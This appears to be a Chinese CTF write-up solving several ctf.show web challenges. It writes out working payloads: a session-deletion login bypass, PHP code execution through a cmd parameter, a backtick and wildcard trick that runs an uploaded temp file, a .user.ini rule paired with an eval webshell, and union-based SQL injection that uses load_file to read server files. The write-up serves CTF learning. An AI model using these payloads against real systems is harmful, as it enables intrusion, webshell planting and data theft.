1.web11
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
代码审计,重点在于password=session时就会输出flag,
Session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
我们就要考虑怎么让输入的password等于产生的session值,发现通过在登录后产生session,抓包,把二者的值改为一样的并不能够得到flag,那么是不是可以把session删除了,这样session的值就相当于是空,再把password的值传入为空,就可以满足password=session,从而得到flag。
F12打开把cookie的值全部删掉,同时password= 。发送后得到flag
该题有关session的内容。
2.web12
F12查看页面源代码,
传参cmd.。尝试?cmd=system("ls");没有回显,可能被过滤了
尝试phpinfo函数,看配置文件,
确定可以执行我们的命令函数,用到scandir函数来读取文件。
scandir() 函数:返回一个数组,其中包含指定路径中的文件和目录。
若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false 并生成一条 E_WARNING 级的错误。
构造:?cmd=print(scandir('./'));
它输出了一个Array数组,是复杂的内容,改用print_r函数
构造:?cmd=print_r(scandir('./'));
可以看到该数组有0123,读取,用到highlight_file函数,该函数会把该php页面的源代码高度显示,也就是显示内容。
构造?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag。
该题用到scandir读取函数,print_r输出函数(复杂的内容,比如数组),highlight_file高度显示函数。
3.红包题第二弹
差看源代码,传参cmd
?cmd=system("ls");
显示出源代码
正则匹配了很多,只留下了p,+,点,/,反引号,<和>等。看了很多师傅的wp,是需要先上传一个文件,再上传文件后,不管有没有上传成功都会再/tmp目录下生成一个虚拟的文件(在Linux中),然后再删掉,我们就可以在删掉文件之前,也就是中间的这个时间进行命令执行,来执行我们上传的脚本。总体思路就是用POST传参上传一个含有我们命令脚本的文件,在用cmd参数执行该脚本。
如果我们获取了一个HTTP的数据包,我们可以通过构造一个post请求上传一个文件。先把GET文字改成POST,之后在请求头加入
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
这是一个 HTTP 请求头中的一部分,用于指定请求体的格式和边界。后面上传的脚本文件内容,就是使用上方定义的边界符号进行识别和区分。
之后在下方写入要上传的文件的内容:
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
cat ../../../../../flag.txt(这是我们的脚本命令)
-----------------------------10242300956292313528205888--
上面两行表示了文件的信息,中间用一种注释表示使用bash解释器,最后一行是文件的内容。
重发后就会得到
接下来就是cmd参数的命令执行来执行我们文件里面的脚本,
执行系统命令的函数:
1、system
string system(string command,int &return_var)
可以用来执行系统命令并将相应的执行结果输出
2、exec
string exec(string command,array &outpub,int &return_var)
command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
注意:exec输出的是命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用passthru()函数。
如果想要获取命令的输出内容,请确保使用output参数。
3、passthru
void passthru(string command, int &return_var)
command是要执行的命令,return_var存放执行命令后的状态值。
4、 shell_exec
string shell_exec(string command)
command是要执行的命令。
5、``运行符
与shell_exec功能相同,执行shell命令并返回输出的字符串。
6、ob_start
bool ob_start([callback $output_callback[,int $chunk_size[,bool $erase]]])
ob_start:打开输出控制缓冲
可以看到`反引号也可以作为执行系统命令的函数,刚好这题就没有过滤反引号。那么我们就可以进行命令执行,在看了师傅的wp后,在文件上传后生成的文件是php******就是php后面会有六个字符,那么该文件就会在:/tmp/php******
然后用到?通配符,也就是?可以代表任何字母。
就可以构造:`.+/??p/p?p??????`
反引号与shell_exec功能相同,执行shell命令并返回输出的字符串。
然后shell命令又等价于source命令,source” 命令用于在当前的命令执行环境中读取并执行指定的脚本或配置文件。
也就是说他会将指定文件内容当做命令执行。
.(点命令)就是source命令,可以读取我们上传的/tmp/php******文件,并把里面的内容执行。
但是并不会输出结果,就需要输出函数,echo
< ? =相当于<?php echo 可以输出echo的参数,就是里面的内容。
所以构造:<?=`.+/??p/p?p??????`;
然后还需要把<?给闭合了。
我一开使的闭合就是直接在后面加了一个?>
但是报错了
是由于<没有闭合的原因,去搜了一下,
这就涉及段标记语法了.<?= ... ?> 是在 PHP 中的一种短标记(short tag)语法,也被称为echo短标记,它可以简化输出变量或表达式的操作。使用<?= ... ?>就相当于echo … 使用段标记需要<?标签,因此我们构造 cmd=?><?=`.+/??p/p?p??????`;先把前面的<?php闭合,再与后面的?>形成一个短标签.
也就是像SQL语句一样,需要先把前面的标记语法闭合了,再来写我们的。
就是:
<?= cmd= ?>
可能代码是这样的,然后通过我们去闭合
<?= cmd= ?><?= ?>
我们是通过?><?=这个去闭合的,这样就变成了两个短标记,再在后面写上我们的输出。
最后就构造了:?cmd=?><?=`.+/??p/p?p??????`;
得到flag。
总体思路:通过先上传含有脚本的文件,再通过source函数读取该函数并执行,再通过短标记语法来输出执行的内容。
绕过涉及到?通配符,<?=相当于<?php echo。
4.web13
一个文件上传题,先上传一个php文件,发现php被过滤了
返回error file zise,表示是一个错误的文件。
接着上传一张图片看看
同样显示错误,看了下师傅的wp,该题是有备份文件的,访问upload.php.bak
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
审计代码可以发现,传入的内容不可以大于24个字符,传入的名字不可以大于9个字符,不可以传php文件。
需要用到.user.ini文件,
先上传一个.user.ini文件,内容是auto_prepend_file=b.txt
然后再上传一个b.txt文件,内容是<?php eval($_GET['c']); 后面的不用写了,不然传不上去。
然后再通过参数c=print_r(scandir('.'));
c=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
如果只传入一个b.txt文件代码是不会被执行的,.usre.ini文件的作用就是借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
5.web14
代码审计,包含一个secret.php页面。GET传参c,sleep会让请求延时传入的c的值那么长,下面是一些c的值所返回的内容,从1开始传着试一试,当传到3的时候得到一个PHP页面。
访问here_1s_your_f1ag.php这个页面
一个登录界面,估计是SQL注入。
查看源代码发现正则匹配了information_schema\.tables|information_schema\.columns|linestring| |polygon/is。也就是只能查到表名。
当传入1的时候查询正确,单引号和两个单引号的错误
1/**/order/**/by/**/1#查询出只有一列
构造:-1/**/union/**/select/**/database()#
数据库名字是web
查表名
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#
表名是content。
查字段:
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
字段为id,username,password
查字段的内容:
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
给了我们这个提示:1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret...
flag不在数据库。可能在secret,我们使用load_file()函数访问一下。
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
源代码多了一段代码。
它会检查/tmp/gtf1y的文件内容,如果等于ctf.show就会输出/real_flag_is_here的内容,接着用load_file函数读取/real_flag_is_here的内容
构造:-1/**/union/**/select/**/load_file('/real_flag_is_here')#